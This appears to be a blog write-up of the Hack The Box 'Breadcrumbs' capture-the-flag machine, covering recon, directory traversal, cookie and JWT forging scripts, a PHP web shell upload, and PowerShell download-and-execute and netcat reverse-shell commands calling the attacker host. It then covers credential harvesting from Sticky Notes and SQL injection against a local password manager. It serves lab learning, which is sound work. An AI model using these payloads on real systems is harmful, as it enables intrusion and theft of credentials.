HTB: Breadcrumbs

Details

This machine is Breadcrumbs from Hack the Box

Recon

Nmap was running way too slowly, so I ran masscan instead

kali@kali:~$ sudo masscan -p0-65335,U:0-65335 --rate=1000 -i tun0 10.10.10.228  

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-02-20 22:08:06 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [130672 ports/host]
Discovered open port 443/tcp on 10.10.10.228                                   
Discovered open port 49666/tcp on 10.10.10.228                                 
Discovered open port 139/tcp on 10.10.10.228                                   
Discovered open port 49669/tcp on 10.10.10.228                                 
Discovered open port 49665/tcp on 10.10.10.228                                 
Discovered open port 49667/tcp on 10.10.10.228                                 
Discovered open port 49668/tcp on 10.10.10.228                                 
Discovered open port 22/tcp on 10.10.10.228                                    
Discovered open port 3306/tcp on 10.10.10.228                                  
Discovered open port 445/tcp on 10.10.10.228                                   
Discovered open port 7680/tcp on 10.10.10.228                                  
Discovered open port 5040/tcp on 10.10.10.228                                  
Discovered open port 135/tcp on 10.10.10.228                                   
Discovered open port 49664/tcp on 10.10.10.228                                 
Discovered open port 80/tcp on 10.10.10.228

Then nmap on those specific ports

kali@kali:~$ nmap -sV -p443,49666,139,49669,49665,49667,49668,22,3306,445,7680,5040,135,49664,80 10.10.10.228
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-20 22:15 GMT
Nmap scan report for 10.10.10.228
Host is up (0.018s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=2/20%Time=603189F3%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.9'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.11 seconds

User 1

I started by browsing to http://10.10.10.228/

Screenshot 1

Clicking "Check Books" took me to http://10.10.10.228/php/books.php

Screenshot 3

I tried searching a title of a and an author of a

Screenshot 4

I clicked on "Book"

Screenshot 5

Then clicked "Yes"

Screenshot 6

This didn't seem very promising, so I went back to the search. Looking at the request in Burp

Screenshot 7

I tried changing the method parameter to 1

Screenshot 8

This gave me a full file path of C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php So I tried the same process of intercepting requests for the book request

Screenshot 9

I can see this is using actual files, so I tried it again but with a directory traversal to do local file read (LFR). As the previous error was in the PHP file_get_contents function, it wouldn't be full LFI

Screenshot 10

This worked and let me read the file, so I tried making the page read its own source code

Screenshot 11

The potentially useful line was

require '..\/db\/db.php'

So I read the db.php

Screenshot 12

"<?php\r\n\r\n$host=\"localhost\";\r\n$port=3306;\r\n$user=\"bread\";\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());\r\n?>\r\n"

The database credentials were

bread : jUli901

I tried these against the expose MySQL server but the user was not allowed to login remotely. So I began further enumeration on the web server using dirbuster

Screenshot 13

The portal endpoint redirected to /portal/login.php

Screenshot 14

The helper link took me to /portal/php/admins.php

Screenshot 15

So John, Olivia and Paul are listed as currently being active. Next I started using the LFR to read source code, first, the login page

Screenshot 16

It makes use of authController.php so I read that too

Screenshot 17

"<?php 
require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;

$errors = array();
$username = \"\";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];

\/\/if user clicks on login
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
    if($_POST['method'] == 0){
        $username = $_POST['username'];
        $password = $_POST['password'];

        $query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($query);
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_ASSOC)){
            array_push($userdata, $row);
        }
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $password = sha1($password);
            $passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
            $stmt = $con->prepare($passwordQuery);
            $stmt->bind_param('ss', $password, $username);
            $stmt->execute();
            $result = $stmt->get_result();

            if($result->num_rows > 0){
                $valid = true;
            }
            $stmt->close();
        }

        if($valid){
            session_id(makesession($username));
            session_start();

            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();

            $payload = array(
                \"data\" => array(
                    \"username\" => $username
            ));

            $jwt = JWT::encode($payload, $secret_key, 'HS256');

            setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");

            $_SESSION['username'] = $username;
            $_SESSION['loggedIn'] = true;
            if($userdata[0]['position'] == \"\"){
                $_SESSION['role'] = \"Awaiting approval\";
            } 
            else{
                $_SESSION['role'] = $userdata[0]['position'];
            }

            header(\"Location: \/portal\");
        }

        else{
            $_SESSION['loggedIn'] = false;
            $errors['valid'] = \"Username or Password incorrect\";
        }
    }

    elseif($_POST['method'] == 1){
        $username=$_POST['username'];
        $password=$_POST['password'];
        $passwordConf=$_POST['passwordConf'];

        if(empty($username)){
            $errors['username'] = \"Username Required\";
        }
        if(strlen($username) < 4){
            $errors['username'] = \"Username must be at least 4 characters long\";
        }
        if(empty($password)){
            $errors['password'] = \"Password Required\"; 
        }
        if($password !== $passwordConf){
            $errors['passwordConf'] = \"Passwords don't match!\"; 
        }

        $userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
        $stmt = $con->prepare($userQuery);
        $stmt ->bind_param('s',$username);
        $stmt->execute();
        $result = $stmt->get_result();
        $userCount = $result->num_rows;
        $stmt->close();

        if($userCount > 0){
            $errors['username'] = \"Username already exists\";
        }

        if(count($errors) === 0){
            $password = sha1($password);
            $sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
            $stmt = $con->prepare($sql);
            $stmt ->bind_param('ss', $username, $password);

            if ($stmt->execute()){
                $user_id = $con->insert_id;
                header('Location: login.php');
            }
            else{
                $_SESSION['loggedIn'] = false;
                $errors['db_error']=\"Database error: failed to register\";
            }
        }
    }
}"

So JWTs are in use, with the following format

data {
    username: "<username>"
}

They use HS256 and the following secret

6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e

So I should be able to forge these now. They also use session cookies, the details seem to be in cookie.php so I read that

Screenshot 18

<?php
\/**
 * @param string $username  Username requesting session cookie
 * 
 * @return string $session_cookie Returns the generated cookie
 * 
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
 * *\/
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = \"s4lTy_stR1nG_\".$username[$seed].\"(!528.\/9890\";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}"

So the session cookie is the username concatenated with a key. The key is generated as the MD5 hash of a string. This string is s4lTy_stR1nG_ concatenated with a random character of the username, and (!528./9890. The random part of this is likely to be a small keyspace, as usernames are likely not very long. So I wrote a php script to generate these possible cookies. Assuming I knew the right username

<?php 
$username = $argv[1];
$max = strlen($username) - 1;
for($seed = 0; $seed <= $max; $seed++) {
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);
    print($session_cookie . "\n");
}

I would also need to forge a JWT for the user if I could get a valid session token for them, so I wrote a Python script to generate the JWT

import jwt
import sys

USERNAME = sys.argv[1]
SECRET = "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e";

build = {
    "data": {
        "username": USERNAME
    }
}

encoded_jwt = jwt.encode(build, SECRET, algorithm="HS256")

print(encoded_jwt)

I needed a valid username, looking back at a dirbust I ran against /portal.php I found files.php

Screenshot 19

So I read that file

Screenshot 20

The PHP part was

<?php session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== "paul"){
    header("Location: ..\/index.php");
}
if(isset($_SESSION['loggedIn'])){
    $LOGGED_IN = true;
    require '..\/db\/db.php';
}
else{
    header("Location: ..\/auth\/login.php");
    die();
}
?>

This gave me a username of "paul" which was also one of the active "helpers" from before

So I generated a JWT for paul

kali@kali:~$ python3 jwt_builder.py paul
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

Then all possible session tokens

kali@kali:~$ php -f sessions.php paul
paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390

I began testing the cookies

Screenshot 21

When I tested

paul47200b180ccd6835d25d034eeb6e6390

Screenshot 22

It worked, so I updated my cookie in my browser with a cookie modifier browser extension and browsed to /portal/php/files.php

Screenshot 23

So it looks like I can upload files. In the page source code I found

Screenshot 25

So I looked at the source of this JS

Screenshot 26

So this is sending files to fileControlled.php, I read that

<?php
$ret = "";
require "../vendor/autoload.php";
use \Firebase\JWT\JWT;
session_start();

function validate(){
    $ret = false;
    $jwt = $_COOKIE['token'];

    $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
    $ret = JWT::decode($jwt, $secret_key, array('HS256'));   
    return $ret;
}

if($_SERVER['REQUEST_METHOD'] === "POST"){
    $admins = array("paul");
    $user = validate()->data->username;
    if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
        error_reporting(E_ALL & ~E_NOTICE);
        $uploads_dir = '../uploads';
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_POST['task'];

        if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
            $ret = "Success. Have a great weekend!";
        }     
        else{
            $ret = "Missing file or title :(" ;
        }
    }
    else{
        $ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
    }

    echo $ret;
}

So it checks we have a valid session, our JWT is for an admin, and our username in the session is paul. We already meet these criteria. I tried uploading php a file with the following content

<?php system($_GET['c']) ?>

Screenshot 28

It didn't quite work how I expected, so I tried changing the a.zip to jirbj.php

Screenshot 29

Which resulted in

Screenshot 30

It looks like the temp file got deleted, maybe AV didn't like it? So I tried a phpinfo payload instead

Screenshot 34

And browsed to http://10.10.10.228/portal/uploads/info.php

Screenshot 35

That worked, so I tried a modified version of my PHP shell

<?php $c = $_GET['jirbj']; system($c) ?>

Screenshot 36

And browsed to http://10.10.10.228/portal/uploads/jirbj.php?jirbj=whoami

Screenshot 37

This version worked, so I set a listener

kali@kali:~$ nc -nlvp 443

I then exposed a PowerShell reverse shell on a Python web server and executed the following command with my web shell to download and execute it

powershell -c Invoke-Expression(Invoke-WebRequest -Uri http://10.10.14.9/power.ps1 -UseBasicParsing)

But now shell arrived, it likely got blocked by AMSI, I instead exposed nc64.exe on my web server and used the following command to download it

powershell -c Invoke-WebRequest -Uri http://10.10.14.9/nc.exe -UseBasicParsing -OutFile .\a.exe

Then a second request to execute it

.\a.exe 10.10.14.9 443 -e powershell.exe 2>&1

back in my listener

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads>

But there was no user flag for me, so I still had some work to do

User 2

This bit was much easier than the initial access, digging into the files on the server, I found

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> Get-ChildItem
Get-ChildItem

    Directory: C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----        11/28/2020   1:48 AM            170 alex.disabled                                                        
-a----        11/28/2020   1:48 AM            170 emma.disabled                                                        
-a----        11/28/2020   1:48 AM            170 jack.disabled                                                        
-a----        11/28/2020   1:48 AM            170 john.disabled                                                        
-a----         1/17/2021   3:11 PM            192 juliette.json                                                        
-a----        11/28/2020   1:48 AM            170 lucas.disabled                                                       
-a----        11/28/2020   1:48 AM            170 olivia.disabled                                                      
-a----        11/28/2020   1:48 AM            170 paul.disabled                                                        
-a----        11/28/2020   1:48 AM            170 sirine.disabled                                                      
-a----        11/28/2020   1:48 AM            170 william.disabled

The one for juliette contained

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> Get-Content juliette.json
Get-Content juliette.json
{
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",
        }
}

So I tried these creds on SSH

ssh [email protected]
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

juliette@BREADCRUMBS C:\Users\juliette>
# dropped into powershell
# juliette@BREADCRUMBS C:\Users\juliette>powershell                    
Windows PowerShell                                          
Copyright (C) Microsoft Corporation. All rights reserved.   

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\juliette>

And this time there was a flag

PS C:\Users\juliette\Desktop> Get-ChildItem

    Directory: C:\Users\juliette\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         12/9/2020   6:27 AM            753 todo.html
-ar---         2/20/2021   4:20 PM             34 user.txt

PS C:\Users\juliette\Desktop> Get-Content .\user.txt
[REDACTED]

User 3

Now I needed to get SYSTEM or Admin level access. There was a todo document on the desktop, so I took a look in it

PS C:\Users\juliette\Desktop> Get-Content .\todo.html
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
        <tr>
            <th>Task</th>
            <th>Status</th>
            <th>Reason</th>
        </tr>
        <tr>
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>
            <td>Unauthorized access might be possible</td>
        </tr>
        <tr>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password m
anager</td>
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
        </tr>
        <tr>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>
        </tr>
</table>

</html>

So it implies there are passwords in plaintext in sticky notes, and I might be able to access SMB shares

kali@kali:~$ smbmap -H 10.10.10.228 -u juliette -p 'jUli901./())!'
[+] IP: 10.10.10.228:445        Name: breadcrumbs.htb                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Anouncements                                            READ ONLY
        C$                                                      NO ACCESS       Default share
        Development                                             NO ACCESS
        IPC$                                                    READ ONLY       Remote IPC

So I accessed the Anouncements share

mbclient //10.10.10.228/Anouncements -U juliette                                
Enter WORKGROUP\juliette's password: 
Try "help" to get a list of possible commands.
smb: \> 
# smb: \> dir
  .                                   D        0  Sat Jan 16 00:03:48 2021
  ..                                  D        0  Sat Jan 16 00:03:48 2021
  main.txt                            A      306  Sat Jan 16 00:06:10 2021

                5082961 blocks of size 4096. 1543384 blocks available

Grabbed and read the file

smb: \> get main.txt 
getting file \main.txt of size 306 as main.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)

kali@kali:~$ cat main.txt 
Rabbit Stew Celebration
To celebrate the new library startup, a lunch will be held this upcoming Friday at 1 PM.
Location: Room 201 block B
Food: Rabbit Stew

Hole Construction
Please DO NOT park behind the contruction workers fixing the hole behind block A. 
Multiple complaints have been made.

This seemed unhelpful, but maybe i'll need it later? Instead I started looking at the sticky notes

PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> Get-ChildItem

    Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:10 PM          20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a----        11/29/2020   3:10 AM           4096 plum.sqlite
-a----         1/15/2021   4:10 PM          32768 plum.sqlite-shm
-a----         1/15/2021   4:10 PM         329632 plum.sqlite-wal

The sqlite file is most likely to have what I want

PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> Get-Content plum.sqlite-wal
[SNIP]
☺♫¹♫¹☺Ã◄‚#    UU♠♠\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a‚D☺¶ƒ◄-     UU♠♠\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]ManagedPosition=Yellow0c32c3d8-7c60-48ae-939e-798df198cfe78e814e57-
9d28-4288-961c-31c806338c5Ø”ýDBjØ”ýPR

So the password for Administrator has been moved, but the one for development is there, so I tried it on ssh

kali@kali:~$ ssh [email protected]
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

development@BREADCRUMBS C:\Users\development>

SYSTEM

I re-ran the SMB enum with these creds

kali@kali:~$ smbmap -H 10.10.10.228 -u development -p 'fN3)sN5Ee@g'
[+] IP: 10.10.10.228:445        Name: breadcrumbs.htb                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Anouncements                                            READ ONLY
        C$                                                      NO ACCESS       Default share
        Development                                             READ ONLY
        IPC$                                                    READ ONLY       Remote IPC

I can access the Development share now

smbclient //10.10.10.228/Development -U development
Enter WORKGROUP\development's password: 
Try "help" to get a list of possible commands.
smb: \> 
# smb: \> dir
  .                                   D        0  Sat Jan 16 00:03:49 2021
  ..                                  D        0  Sat Jan 16 00:03:49 2021
  Krypter_Linux                       A    18312  Sun Nov 29 11:11:56 2020

                5082961 blocks of size 4096. 1541527 blocks available

So I grabbed this file, it may be that password manager referenced earlier

smb: \> get Krypter_Linux 
getting file \Krypter_Linux of size 18312 as Krypter_Linux (60.4 KiloBytes/sec) (average 60.4 KiloBytes/sec)

kali@kali:~$ file Krypter_Linux 
Krypter_Linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped

So it is a linux executable, not stripped luckily, so I fired up Ghidra

Screenshot 38

The important bit seemed to be

curl_easy_setopt(local_28,0x2712,"http://passmanager.htb:1234/index.php");
curl_easy_setopt(local_28,0x271f,"method=select&username=administrator&table=passwords");
curl_easy_setopt(local_28,0x4e2b,WriteCallback);
curl_easy_setopt(local_28,0x2711,local_58);

So I checked ports on the machine

PS C:\Development> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
[SNIP]
  TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING       2880
[SNIP]

1234 was open, so it was likely the password manager was there. I made the request myself

PS C:\Development> Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body 'method=select&username=administrator&table=passwords' -Method 'POST' -UseBasicParsing -UseBasicParsing                                           

StatusCode        : 200
StatusDescription : OK
Content           : selectarray(1) {
                      [0]=>
                      array(1) {
                        ["aes_key"]=>
                        string(16) "k19D193j.<19391("
                      }
                    }

RawContent        : HTTP/1.1 200 OK
                    Content-Length: 96
                    Content-Type: text/html; charset=UTF-8
                    Date: Sun, 21 Feb 2021 13:08:39 GMT
                    Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
                    X-Powered-By: PHP/8.0.1

                    sel...
Forms             :
Headers           : {[Content-Length, 96], [Content-Type, text/html; charset=UTF-8], [Date, Sun, 21 Feb  
                    2021 13:08:39 GMT], [Server, Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1]...}     
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        :
RawContentLength  : 96

This got me an AES key, but nothing to decrypt. A bit of digging later and I found this was vulnerable to SQL injection

PS C:\Development> (Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body "method=select&username=a' or '1'='1&table=passwords" -Method 'POST' -UseBasicParsing).content                                   
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}

PS C:\Development> (Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body "method=select&username=a' union select 1 where '1'='1&table=passwords" -Method 'POST' -UseBasicParsing).content              
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(1) "1"
  }
}

So I tried to get the password itself

PS C:\Development> (Invoke-WebRequest -Uri http://127.0.0.1:1234/index.php -Body "method=select&username=a' union select password from passwords where '1'='1&table=passwords" -Method 'POST' -UseBasicParsing)
.content
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(44) "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="
  }
}

I then tried to find the IV for the AES, as I already had the key. For the life of me I couldn't find one. But eventually I tried a null IV

Screenshot 40

This gave me a password of

p@ssw0rd!@#$9890./

Which I tried on ssh

kali@kali:~$ ssh [email protected]
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

administrator@BREADCRUMBS C:\Users\Administrator>

And grab the flag

PS C:\Users\Administrator\Desktop> Get-ChildItem

    Directory: C:\Users\Administrator\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/15/2021   4:03 PM                passwordManager
-ar---         2/21/2021   4:48 AM             34 root.txt

PS C:\Users\Administrator\Desktop> Get-Content .\root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.